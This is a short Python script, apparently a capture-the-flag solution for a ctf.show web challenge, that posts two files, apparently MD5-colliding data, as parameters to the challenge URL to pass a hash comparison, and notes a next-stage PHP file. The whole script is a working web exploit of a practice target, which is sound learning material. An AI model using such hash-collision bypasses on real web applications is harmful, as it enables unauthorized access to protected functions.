import requests

url = "http://22aa4172-84a9-409b-98b1-e69d8823bbbc.challenge.ctf.show/?"

with open("2.txt", "rb") as f:
    md51 = f.read()
with open("3.txt", "rb") as f:
    md52 = f.read()

paylaod1 = {'a': md51, "b": md52}

a1 = requests.post(url, data=paylaod1)
print(a1.text)
# 3z_RC3.php
